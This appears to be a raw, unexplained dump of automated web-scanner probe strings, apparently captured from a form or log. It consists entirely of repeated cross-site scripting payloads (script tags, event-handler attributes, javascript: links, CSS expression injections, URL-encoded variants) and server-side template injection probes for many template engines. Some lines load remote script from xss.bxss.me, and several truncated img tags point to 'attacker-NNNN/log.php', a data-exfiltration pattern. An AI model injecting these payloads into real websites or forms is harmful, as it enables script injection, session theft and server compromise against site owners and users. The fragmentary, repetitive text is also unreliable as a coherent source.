dfb[[${98991*97996}]]xca

555&lt

'}#{98991*97996*98991*97996}

dfb__${98991*97996}__::.x

\xf6<img zzz onmouseover=m4mV(92261) //\xf6>

555<WQDKPZ>HAKNF[!+!]</WQDKPZ>

555\u003CScRiPt\gpTY(9037)\u003C/sCripT\u003E

'}dfb#{xca}=123

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<input autofocus onfocus=m4mV(9038)>

555<script>lejU(9097)</script>

555<ScRiPt >dgLv(9128)</ScRiPt>

555&lt

'}}dfb{{'abcd'.toUpperCase()}}xca

555<script>lejU(9260)</script>9260

<a HrEF=http://xss.bxss.me></a>

\xf6<img zzz onmouseover=gpTY(90231) //\xf6>

555<W5LUYN>DGCKX[!+!]</W5LUYN>

555<ScR<ScRiPt>IpT>lejU(9520)</sCr<ScRiPt>IpT>

555<input autofocus onfocus=gpTY(9423)>

'}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

<a HrEF=jaVaScRiPT:>

<a HrEF=http://xss.bxss.me></a>

555<ScRiPt >lejU(9795)</ScRiPt>

555<script>dgLv(9501)</script>

555}body{zzz:Expre/**/SSion(m4mV(9850))}

'}}dfb{{98991*97996}}xca

555<script>dgLv(9103)</script>9103

<a HrEF=jaVaScRiPT:>

'}dfb[[${98991*97996}]]xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9795></ScRiPt>

555ZZpO1 <ScRiPt >m4mV(9613)</ScRiPt>

'dfb__${98991*97996}__::.x

555}body{zzz:Expre/**/SSion(gpTY(9156))}

555<ScRiPt >lejU(9455)</ScRiPt>

555<W4GWA9>BAK3B[!+!]</W4GWA9>

555<ScR<ScRiPt>IpT>dgLv(9266)</sCr<ScRiPt>IpT>

5558Zmrh <ScRiPt >gpTY(9900)</ScRiPt>

'}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<svg  \xa0onload=lejU(9910)

555<WQVHZE>XFPU8[!+!]</WQVHZE>

555<ScRiPt >dgLv(9143)</ScRiPt>

1}}dfb{{98991*97996}}xca

555<isindex type=image src=1 onerror=lejU(9565)>

555<ifRAme sRc=9923.com></IfRamE>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9298></ScRiPt>

555<ifRAme sRc=9264.com></IfRamE>

555<iframe src='data:text/html

555<ScRiPt >dgLv(9883)</ScRiPt>

1%}dfb{{98991*97996}}xca

555<body onload=lejU(9480)>

555<aQUngoj x=9084>

555<awFjYb9 x=9617>

1}dfb{98991*97996}xca

555<img src=//xss.bxss.me/t/dot.gif onload=lejU(9228)>

1}dfb${98991*97996}xca

555<svg  \xa0onload=dgLv(9664)

555<img sRc='http://attacker-9040/log.php?

555<img sRc='http://attacker-9212/log.php?

555<img src=xyz OnErRor=lejU(9521)>

555<isindex type=image src=1 onerror=dgLv(9955)>

555<aHPw2bx<

555<aEzE30w<

1}dfb#{98991*97996}xca

555<img/src=">" onerror=alert(9664)>

1}dfb{#98991*97996}xca

555<iframe src='data:text/html

%35%35%35%3C%53%63%52%69%50%74%20%3E%6C%65%6A%55%289328%29%3C%2F%73%43%72%69%70%54%3E

555<body onload=dgLv(9945)>

555<img src=//xss.bxss.me/t/dot.gif onload=dgLv(9750)>

1}dfb{@98991*97996}xca

555\u003CScRiPt\lejU(9417)\u003C/sCripT\u003E

555&lt

1}}dfb{{=98991*97996}}xca

\xf6<img zzz onmouseover=lejU(90901) //\xf6>

555<img src=xyz OnErRor=dgLv(9595)>

1)dfb@(98991*97996)xca

555<input autofocus onfocus=lejU(9872)>

555<img/src=">" onerror=alert(9196)>

1%>dfb<%=98991*97996%>xca

1}dfb#set($x=98991*97996)${x}xca

<a HrEF=http://xss.bxss.me></a>

%35%35%35%3C%53%63%52%69%50%74%20%3E%64%67%4C%76%289961%29%3C%2F%73%43%72%69%70%54%3E

555\u003CScRiPt\dgLv(9351)\u003C/sCripT\u003E

<a HrEF=jaVaScRiPT:>

1}dfb{{"abc"|title}}xca

1print("dfb" . 98991*97996 . "xca")

555&lt

555}body{zzz:Expre/**/SSion(lejU(9716))}

\xf6<img zzz onmouseover=dgLv(99111) //\xf6>

198991*97996*98991*97996

555aMThn <ScRiPt >lejU(9838)</ScRiPt>

555<input autofocus onfocus=dgLv(9903)>

1}dfb{@math key=98991 method="multiply" operand=97996/}xca

555<WEUT81>G3RWG[!+!]</WEUT81>

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

1}}}dfb{{{this}}}xca

555<ifRAme sRc=9972.com></IfRamE>

555}body{zzz:Expre/**/SSion(dgLv(9275))}

1}#{98991*97996*98991*97996}

555WTVHz <ScRiPt >dgLv(9410)</ScRiPt>

555<agD4tNk x=9333>

1}dfb#{xca}=123

555<WIO58S>GHCT5[!+!]</WIO58S>

555<img sRc='http://attacker-9406/log.php?

555<ifRAme sRc=9426.com></IfRamE>

1}}dfb{{'abcd'.toUpperCase()}}xca

555<aphEd29<

555<adUZIKM x=9217>

1}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

1}}dfb{{98991*97996}}xca

555<img sRc='http://attacker-9884/log.php?

1}dfb[[${98991*97996}]]xca

555<ajLjvsr<

1dfb__${98991*97996}__::.x

1}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >KFqY(9567)</ScRiPt>

555<WLWSQV>ESDUG[!+!]</WLWSQV>

555<script>KFqY(9174)</script>

555<script>KFqY(9628)</script>9628

555<ScR<ScRiPt>IpT>KFqY(9140)</sCr<ScRiPt>IpT>

555<ScRiPt >KFqY(9698)</ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9701></ScRiPt>

555<ScRiPt >KFqY(9030)</ScRiPt>

555<svg  \xa0onload=KFqY(9106)

555<isindex type=image src=1 onerror=KFqY(9615)>

555<iframe src='data:text/html

555<body onload=KFqY(9612)>

555<img src=//xss.bxss.me/t/dot.gif onload=KFqY(9347)>

555<img src=xyz OnErRor=KFqY(9914)>

555<img/src=">" onerror=alert(9020)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%4B%46%71%59%289831%29%3C%2F%73%43%72%69%70%54%3E

555\u003CScRiPt\KFqY(9968)\u003C/sCripT\u003E

555&lt

\xf6<img zzz onmouseover=KFqY(97441) //\xf6>

555<input autofocus onfocus=KFqY(9793)>

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

555}body{zzz:Expre/**/SSion(KFqY(9065))}

555BgkuZ <ScRiPt >KFqY(9882)</ScRiPt>

555<WWGFV2>T4RK8[!+!]</WWGFV2>

555<ifRAme sRc=9353.com></IfRamE>

555<aJI9BG6 x=9897>

555<img sRc='http://attacker-9337/log.php?

555<avrHaCs<

555'"()&%<zzz><ScRiPt >HH2A(9769)</ScRiPt>

555'"()&%<zzz><ScRiPt >BEN0(9063)</ScRiPt>

555'"()&%<zzz><ScRiPt >Doug(9369)</ScRiPt>

'"()&%<zzz><ScRiPt >HH2A(9804)</ScRiPt>

'"()&%<zzz><ScRiPt >BEN0(9150)</ScRiPt>

'"()&%<zzz><ScRiPt >Doug(9391)</ScRiPt>

5559414594

5559041404

5559069654

bfg1250\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl1250

bfg7330\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl7330

bfg3094\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl3094

bfgx7577\xc0\xbez1\xc0\xbcz2a\x90bcxhjl7577

bfgx7720\xc0\xbez1\xc0\xbcz2a\x90bcxhjl7720

bfgx7068\xc0\xbez1\xc0\xbcz2a\x90bcxhjl7068

<%={{={@{#{${dfb}}%>

<%={{={@{#{${dfb}}%>

<%={{={@{#{${dfb}}%>

555

555

555

<th:t="${dfb}#foreach

<th:t="${dfb}#foreach

<th:t="${dfb}#foreach

555

555

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555

555

dfb{{98991*97996}}xca

dfb{{98991*97996}}xca

dfb{{98991*97996}}xca

dfb[[${98991*97996}]]xca

dfb[[${98991*97996}]]xca

dfb__${98991*97996}__::.x

dfb[[${98991*97996}]]xca

dfb__${98991*97996}__::.x

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb__${98991*97996}__::.x

555<ScRiPt >HH2A(9047)</ScRiPt>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<WIHDYS>TFEOL[!+!]</WIHDYS>

555<ScRiPt >BEN0(9856)</ScRiPt>

555<ScRiPt >Doug(9717)</ScRiPt>

555<W6FKLM>5TNP9[!+!]</W6FKLM>

555<script>HH2A(9803)</script>

555<W6CIZB>BWZQM[!+!]</W6CIZB>

555<script>BEN0(9340)</script>

555<script>Doug(9245)</script>

555<script>HH2A(9269)</script>9269

555<script>BEN0(9576)</script>9576

555<script>Doug(9251)</script>9251

555<ScR<ScRiPt>IpT>HH2A(9459)</sCr<ScRiPt>IpT>

555<ScR<ScRiPt>IpT>BEN0(9350)</sCr<ScRiPt>IpT>

555<ScRiPt >HH2A(9449)</ScRiPt>

555<ScR<ScRiPt>IpT>Doug(9311)</sCr<ScRiPt>IpT>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9035></ScRiPt>

555<ScRiPt >BEN0(9780)</ScRiPt>

555<ScRiPt >HH2A(9812)</ScRiPt>

555<ScRiPt >Doug(9143)</ScRiPt>

555<svg  \xa0onload=HH2A(9978)

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9516></ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9131></ScRiPt>

555<isindex type=image src=1 onerror=HH2A(9794)>

555<ScRiPt >Doug(9298)</ScRiPt>

555<ScRiPt >BEN0(9062)</ScRiPt>

555<iframe src='data:text/html

555<svg  \xa0onload=BEN0(9647)

555<body onload=HH2A(9831)>

555<svg  \xa0onload=Doug(9308)

555<isindex type=image src=1 onerror=BEN0(9123)>

555<img src=//xss.bxss.me/t/dot.gif onload=HH2A(9395)>

555<isindex type=image src=1 onerror=Doug(9407)>

555<img src=xyz OnErRor=HH2A(9986)>

555<iframe src='data:text/html

555<iframe src='data:text/html

555<body onload=BEN0(9256)>

555<img/src=">" onerror=alert(9041)>

555<img src=//xss.bxss.me/t/dot.gif onload=BEN0(9446)>

555<body onload=Doug(9583)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%48%48%32%41%289360%29%3C%2F%73%43%72%69%70%54%3E

555<img src=//xss.bxss.me/t/dot.gif onload=Doug(9403)>

555<img src=xyz OnErRor=BEN0(9025)>

555<img src=xyz OnErRor=Doug(9703)>

555\u003CScRiPt\HH2A(9244)\u003C/sCripT\u003E

555<img/src=">" onerror=alert(9289)>

555<img/src=">" onerror=alert(9235)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%42%45%4E%30%289734%29%3C%2F%73%43%72%69%70%54%3E

%35%35%35%3C%53%63%52%69%50%74%20%3E%44%6F%75%67%289496%29%3C%2F%73%43%72%69%70%54%3E

555&lt

555\u003CScRiPt\BEN0(9659)\u003C/sCripT\u003E

555\u003CScRiPt\Doug(9781)\u003C/sCripT\u003E

\xf6<img zzz onmouseover=HH2A(93331) //\xf6>

555&lt

555&lt

\xf6<img zzz onmouseover=BEN0(93881) //\xf6>

555<input autofocus onfocus=HH2A(9430)>

\xf6<img zzz onmouseover=BEN0(93881) //\xf6>

\xf6<img zzz onmouseover=Doug(96221) //\xf6>

555<input autofocus onfocus=BEN0(9381)>

<a HrEF=http://xss.bxss.me></a>

555<input autofocus onfocus=Doug(9577)>

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

<a HrEF=http://xss.bxss.me></a>

555}body{zzz:Expre/**/SSion(HH2A(9127))}

<a HrEF=jaVaScRiPT:>

<a HrEF=jaVaScRiPT:>

555R2LBK <ScRiPt >HH2A(9937)</ScRiPt>

555}body{zzz:Expre/**/SSion(BEN0(9944))}

555<WDPQ7X>YA1ST[!+!]</WDPQ7X>

555}body{zzz:Expre/**/SSion(Doug(9217))}

555<ifRAme sRc=9744.com></IfRamE>

555SjTZa <ScRiPt >BEN0(9293)</ScRiPt>

555rbVeT <ScRiPt >Doug(9924)</ScRiPt>

555<aBJvmaV x=9716>

555<WNJTWX>5VJN6[!+!]</WNJTWX>

555<WYHWUE>RUMFL[!+!]</WYHWUE>

555<img sRc='http://attacker-9459/log.php?

555<aYrCwYr<

555<ifRAme sRc=9560.com></IfRamE>

555<ifRAme sRc=9686.com></IfRamE>

555<a6oyzsr x=9209>

555'"()&%<zzz><ScRiPt >euzc(9912)</ScRiPt>

555<img sRc='http://attacker-9085/log.php?

555<akrhTns x=9765>

555<aayUjt5<

555<img sRc='http://attacker-9860/log.php?

'"()&%<zzz><ScRiPt >euzc(9825)</ScRiPt>

555'"()&%<zzz><ScRiPt >HPqj(9543)</ScRiPt>

555<aLWqj7N<

555'"()&%<zzz><ScRiPt >sqNf(9648)</ScRiPt>

'"()&%<zzz><ScRiPt >sqNf(9719)</ScRiPt>

5559922517

'"()&%<zzz><ScRiPt >HPqj(9542)</ScRiPt>

5559215992

5559904617

bfg1502\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl1502

bfgx5434\xc0\xbez1\xc0\xbcz2a\x90bcxhjl5434

bfg4912\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl4912

bfg2457\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl2457

<%={{={@{#{${dfb}}%>

bfgx9855\xc0\xbez1\xc0\xbcz2a\x90bcxhjl9855

555

bfgx2784\xc0\xbez1\xc0\xbcz2a\x90bcxhjl2784

<%={{={@{#{${dfb}}%>

dfb{{98991*97996}}xca

555

<%={{={@{#{${dfb}}%>

dfb{{98991*97996}}xca

<th:t="${dfb}#foreach

555

<th:t="${dfb}#foreach

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb{98991*97996}xca

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb${98991*97996}xca

555

dfb{{98991*97996}}xca

dfb#{98991*97996}xca

"}}dfb{{98991*97996}}xca

dfb{#98991*97996}xca

dfb{@98991*97996}xca

dfb[[${98991*97996}]]xca

"%}dfb{{98991*97996}}xca

555'"()&%<zzz><ScRiPt >6r7J(9426)</ScRiPt>

dfb__${98991*97996}__::.x

"}dfb{98991*97996}xca

dfb{{=98991*97996}}xca

dfb@(98991*97996)xca

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

'"()&%<zzz><ScRiPt >6r7J(9664)</ScRiPt>

dfb<%=98991*97996%>xca

"}dfb${98991*97996}xca

555<ScRiPt >HPqj(9733)</ScRiPt>

5559940722

dfb#set($x=98991*97996)${x}xca

555<WBYYP6>0IRXE[!+!]</WBYYP6>

"}dfb#{98991*97996}xca

dfb{{"abc"|title}}xca

bfg6261\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl6261

"}dfb{#98991*97996}xca

555<script>HPqj(9964)</script>

bfgx5647\xc0\xbez1\xc0\xbcz2a\x90bcxhjl5647

<%={{={@{#{${dfb}}%>

555<script>HPqj(9679)</script>9679

"}dfb{@98991*97996}xca

print("dfb" . 98991*97996 . "xca")

"}}dfb{{=98991*97996}}xca

<th:t="${dfb}#foreach

555<ScR<ScRiPt>IpT>HPqj(9895)</sCr<ScRiPt>IpT>

98991*97996*98991*97996

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

")dfb@(98991*97996)xca

555<ScRiPt >HPqj(9380)</ScRiPt>

dfb{@math key=98991 method="multiply" operand=97996/}xca

"%>dfb<%=98991*97996%>xca

dfb{{{this}}}xca

555

dfb{{98991*97996}}xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9233></ScRiPt>

#{98991*97996*98991*97996}

"}dfb#set($x=98991*97996)${x}xca

dfb[[${98991*97996}]]xca

dfb#{xca}=123

555<ScRiPt >HPqj(9559)</ScRiPt>

dfb{{'abcd'.toUpperCase()}}xca

"}dfb{{"abc"|title}}xca

555<svg  \xa0onload=HPqj(9762)

dfb__${98991*97996}__::.x

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<isindex type=image src=1 onerror=HPqj(9203)>

"print("dfb" . 98991*97996 . "xca")

dfb{{98991*97996}}xca

"98991*97996*98991*97996

555<ScRiPt >6r7J(9961)</ScRiPt>

555<iframe src='data:text/html

dfb[[${98991*97996}]]xca

"}dfb{@math key=98991 method="multiply" operand=97996/}xca

dfb__${98991*97996}__::.x

555<W02WKL>P7OOL[!+!]</W02WKL>

555<body onload=HPqj(9586)>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<script>6r7J(9501)</script>

"}}}dfb{{{this}}}xca

555<img src=//xss.bxss.me/t/dot.gif onload=HPqj(9468)>

555<script>6r7J(9684)</script>9684

"}#{98991*97996*98991*97996}

555<ScRiPt >euzc(9662)</ScRiPt>

555<img src=xyz OnErRor=HPqj(9580)>

555<ScR<ScRiPt>IpT>6r7J(9502)</sCr<ScRiPt>IpT>

"}dfb#{xca}=123

555<WLJMSU>LEXEM[!+!]</WLJMSU>

"}}dfb{{'abcd'.toUpperCase()}}xca

555<script>euzc(9281)</script>

555<ScRiPt >6r7J(9959)</ScRiPt>

555<img/src=">" onerror=alert(9976)>

555<script>euzc(9757)</script>9757

%35%35%35%3C%53%63%52%69%50%74%20%3E%48%50%71%6A%289721%29%3C%2F%73%43%72%69%70%54%3E

"}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9405></ScRiPt>

555\u003CScRiPt\HPqj(9154)\u003C/sCripT\u003E

555<ScR<ScRiPt>IpT>euzc(9220)</sCr<ScRiPt>IpT>

555<ScRiPt >6r7J(9020)</ScRiPt>

"}}dfb{{98991*97996}}xca

"}dfb[[${98991*97996}]]xca

555<svg  \xa0onload=6r7J(9256)

555&lt

555<ScRiPt >euzc(9741)</ScRiPt>

\xf6<img zzz onmouseover=HPqj(96831) //\xf6>

555<isindex type=image src=1 onerror=6r7J(9182)>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9393></ScRiPt>

"dfb__${98991*97996}__::.x

555<input autofocus onfocus=HPqj(9344)>

555<iframe src='data:text/html

555<ScRiPt >euzc(9586)</ScRiPt>

<a HrEF=http://xss.bxss.me></a>

"}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<svg  \xa0onload=euzc(9606)

555<body onload=6r7J(9012)>

'}}dfb{{98991*97996}}xca

<a HrEF=jaVaScRiPT:>

555<isindex type=image src=1 onerror=euzc(9944)>

'%}dfb{{98991*97996}}xca

555<img src=//xss.bxss.me/t/dot.gif onload=6r7J(9013)>

555}body{zzz:Expre/**/SSion(HPqj(9547))}

555<iframe src='data:text/html

'}dfb{98991*97996}xca

555<img src=xyz OnErRor=6r7J(9557)>

'}dfb${98991*97996}xca

5555HFbl <ScRiPt >HPqj(9548)</ScRiPt>

555<body onload=euzc(9590)>

555<WSJC7P>KKJM2[!+!]</WSJC7P>

'}dfb#{98991*97996}xca

555<img src=//xss.bxss.me/t/dot.gif onload=euzc(9442)>

555<ifRAme sRc=9572.com></IfRamE>

555<img/src=">" onerror=alert(9670)>

555<aXzmpMa x=9736>

'}dfb{#98991*97996}xca

%35%35%35%3C%53%63%52%69%50%74%20%3E%36%72%37%4A%289414%29%3C%2F%73%43%72%69%70%54%3E

555<img src=xyz OnErRor=euzc(9569)>

'}dfb{@98991*97996}xca

555\u003CScRiPt\6r7J(9796)\u003C/sCripT\u003E

555<img sRc='http://attacker-9693/log.php?

555<img/src=">" onerror=alert(9026)>

'}}dfb{{=98991*97996}}xca

%35%35%35%3C%53%63%52%69%50%74%20%3E%65%75%7A%63%289399%29%3C%2F%73%43%72%69%70%54%3E

555&lt

555<akNiDvo<

')dfb@(98991*97996)xca

\xf6<img zzz onmouseover=6r7J(96411) //\xf6>

'%>dfb<%=98991*97996%>xca

555\u003CScRiPt\euzc(9276)\u003C/sCripT\u003E

555<input autofocus onfocus=6r7J(9690)>

'}dfb#set($x=98991*97996)${x}xca

555&lt

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

'}dfb{{"abc"|title}}xca

\xf6<img zzz onmouseover=euzc(93571) //\xf6>

555}body{zzz:Expre/**/SSion(6r7J(9037))}

'print("dfb" . 98991*97996 . "xca")

555<input autofocus onfocus=euzc(9896)>

555LJAUr <ScRiPt >6r7J(9605)</ScRiPt>

<a HrEF=http://xss.bxss.me></a>

'98991*97996*98991*97996

<a HrEF=jaVaScRiPT:>

555<WLWFEK>IOTTH[!+!]</WLWFEK>

'}dfb{@math key=98991 method="multiply" operand=97996/}xca

555}body{zzz:Expre/**/SSion(euzc(9528))}

555<ifRAme sRc=9701.com></IfRamE>

5556yXqv <ScRiPt >euzc(9560)</ScRiPt>

'}}}dfb{{{this}}}xca

555<WJIXSF>IHX5B[!+!]</WJIXSF>

555<ifRAme sRc=9552.com></IfRamE>

555<a79RKQG x=9260>

'}#{98991*97996*98991*97996}

555<img sRc='http://attacker-9027/log.php?

555<a3jIhcR x=9588>

555'"()&%<zzz><ScRiPt >CjXe(9518)</ScRiPt>

'"()&%<zzz><ScRiPt >CjXe(9937)</ScRiPt>

'}dfb#{xca}=123

555<agqARTF<

555<img sRc='http://attacker-9624/log.php?

'}}dfb{{'abcd'.toUpperCase()}}xca

555<aqNvHw4<

555'"()&%<zzz><ScRiPt >yESn(9040)</ScRiPt>

'}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

5559529666

'"()&%<zzz><ScRiPt >yESn(9876)</ScRiPt>

bfg2425\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl2425

5559787648

'}}dfb{{98991*97996}}xca

bfgx3293\xc0\xbez1\xc0\xbcz2a\x90bcxhjl3293

'}dfb[[${98991*97996}]]xca

<%={{={@{#{${dfb}}%>

bfg5753\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl5753

555

'dfb__${98991*97996}__::.x

bfgx2767\xc0\xbez1\xc0\xbcz2a\x90bcxhjl2767

<th:t="${dfb}#foreach

<%={{={@{#{${dfb}}%>

555

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

'}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555

1}}dfb{{98991*97996}}xca

dfb{{98991*97996}}xca

dfb{{98991*97996}}xca

1%}dfb{{98991*97996}}xca

dfb{{98991*97996}}xca

dfb[[${98991*97996}]]xca

1}dfb{98991*97996}xca

dfb__${98991*97996}__::.x

1}dfb${98991*97996}xca

dfb{98991*97996}xca

1}dfb#{98991*97996}xca

dfb${98991*97996}xca

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb#{98991*97996}xca

1}dfb{#98991*97996}xca

555<ScRiPt >CjXe(9771)</ScRiPt>

1}dfb{@98991*97996}xca

555<WNISFK>2B19F[!+!]</WNISFK>

dfb{#98991*97996}xca

555<script>CjXe(9883)</script>

dfb{@98991*97996}xca

1}}dfb{{=98991*97996}}xca

555<script>CjXe(9047)</script>9047

dfb{{=98991*97996}}xca

1)dfb@(98991*97996)xca

555<ScR<ScRiPt>IpT>CjXe(9309)</sCr<ScRiPt>IpT>

1%>dfb<%=98991*97996%>xca

dfb@(98991*97996)xca

555<ScRiPt >CjXe(9902)</ScRiPt>

1}dfb#set($x=98991*97996)${x}xca

dfb<%=98991*97996%>xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9360></ScRiPt>

dfb#set($x=98991*97996)${x}xca

1}dfb{{"abc"|title}}xca

555<ScRiPt >CjXe(9154)</ScRiPt>

dfb{{"abc"|title}}xca

1print("dfb" . 98991*97996 . "xca")

555<svg  \xa0onload=CjXe(9607)

print("dfb" . 98991*97996 . "xca")

198991*97996*98991*97996

98991*97996*98991*97996

555<isindex type=image src=1 onerror=CjXe(9527)>

1}dfb{@math key=98991 method="multiply" operand=97996/}xca

dfb{@math key=98991 method="multiply" operand=97996/}xca

555<iframe src='data:text/html

1}}}dfb{{{this}}}xca

555<body onload=CjXe(9922)>

dfb{{{this}}}xca

1}#{98991*97996*98991*97996}

555<img src=//xss.bxss.me/t/dot.gif onload=CjXe(9627)>

#{98991*97996*98991*97996}

1}dfb#{xca}=123

1}}dfb{{'abcd'.toUpperCase()}}xca

555<img src=xyz OnErRor=CjXe(9575)>

dfb#{xca}=123

1}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555<img/src=">" onerror=alert(9913)>

dfb{{'abcd'.toUpperCase()}}xca

1}}dfb{{98991*97996}}xca

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

%35%35%35%3C%53%63%52%69%50%74%20%3E%43%6A%58%65%289806%29%3C%2F%73%43%72%69%70%54%3E

dfb{{98991*97996}}xca

1}dfb[[${98991*97996}]]xca

555\u003CScRiPt\CjXe(9752)\u003C/sCripT\u003E

dfb[[${98991*97996}]]xca

1dfb__${98991*97996}__::.x

555&lt

dfb__${98991*97996}__::.x

1}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

\xf6<img zzz onmouseover=CjXe(99371) //\xf6>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >sqNf(9634)</ScRiPt>

555<ScRiPt >yESn(9594)</ScRiPt>

555<WOF8FM>JSBBY[!+!]</WOF8FM>

555<input autofocus onfocus=CjXe(9284)>

555<WYLZPE>2QBQ3[!+!]</WYLZPE>

555<script>sqNf(9589)</script>

<a HrEF=http://xss.bxss.me></a>

555<script>yESn(9607)</script>

<a HrEF=jaVaScRiPT:>

555<script>sqNf(9937)</script>9937

555<script>yESn(9423)</script>9423

555}body{zzz:Expre/**/SSion(CjXe(9752))}

555z5pMY <ScRiPt >CjXe(9535)</ScRiPt>

555<ScR<ScRiPt>IpT>yESn(9678)</sCr<ScRiPt>IpT>

555<ScR<ScRiPt>IpT>sqNf(9765)</sCr<ScRiPt>IpT>

555<ScRiPt >yESn(9433)</ScRiPt>

555<WONFEE>BOAXX[!+!]</WONFEE>

555<ScRiPt >sqNf(9474)</ScRiPt>

555<ifRAme sRc=9614.com></IfRamE>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9068></ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9259></ScRiPt>

555<admFWyN x=9968>

555<ScRiPt >sqNf(9811)</ScRiPt>

555<ScRiPt >yESn(9841)</ScRiPt>

555<svg  \xa0onload=sqNf(9720)

555<img sRc='http://attacker-9750/log.php?

555<svg  \xa0onload=yESn(9935)

555<a63vUtO<

555<isindex type=image src=1 onerror=sqNf(9108)>

555<isindex type=image src=1 onerror=yESn(9587)>

555<iframe src='data:text/html

555<iframe src='data:text/html

555<body onload=sqNf(9315)>

555<body onload=yESn(9475)>

555<img src=//xss.bxss.me/t/dot.gif onload=sqNf(9156)>

555<img src=//xss.bxss.me/t/dot.gif onload=yESn(9513)>

555<img src=xyz OnErRor=sqNf(9422)>

555<img src=xyz OnErRor=yESn(9423)>

555<img/src=">" onerror=alert(9695)>

555<img/src=">" onerror=alert(9880)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%73%71%4E%66%289401%29%3C%2F%73%43%72%69%70%54%3E

555\u003CScRiPt\sqNf(9061)\u003C/sCripT\u003E

%35%35%35%3C%53%63%52%69%50%74%20%3E%79%45%53%6E%289337%29%3C%2F%73%43%72%69%70%54%3E

555&lt

555\u003CScRiPt\yESn(9593)\u003C/sCripT\u003E

555&lt

\xf6<img zzz onmouseover=sqNf(97411) //\xf6>

\xf6<img zzz onmouseover=yESn(99861) //\xf6>

555<input autofocus onfocus=sqNf(9138)>

555<input autofocus onfocus=yESn(9923)>

<a HrEF=http://xss.bxss.me></a>

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

<a HrEF=jaVaScRiPT:>

555}body{zzz:Expre/**/SSion(sqNf(9800))}

555}body{zzz:Expre/**/SSion(yESn(9728))}

555JXhlW <ScRiPt >sqNf(9392)</ScRiPt>

555DC2pl <ScRiPt >yESn(9012)</ScRiPt>

555<WUUGAO>JLZDQ[!+!]</WUUGAO>

555<ifRAme sRc=9123.com></IfRamE>

555<WJQVOP>PO5BK[!+!]</WJQVOP>

555<aZ2AcNX x=9521>

555<img sRc='http://attacker-9707/log.php?

555<ifRAme sRc=9034.com></IfRamE>

555<a58OyqJ x=9860>

555<aChhtWd<

555'"()&%<zzz><ScRiPt >QUcD(9811)</ScRiPt>

555<img sRc='http://attacker-9869/log.php?

555'"()&%<zzz><ScRiPt >8G5W(9927)</ScRiPt>

'"()&%<zzz><ScRiPt >QUcD(9060)</ScRiPt>

555<a3CDODz<

'"()&%<zzz><ScRiPt >8G5W(9675)</ScRiPt>

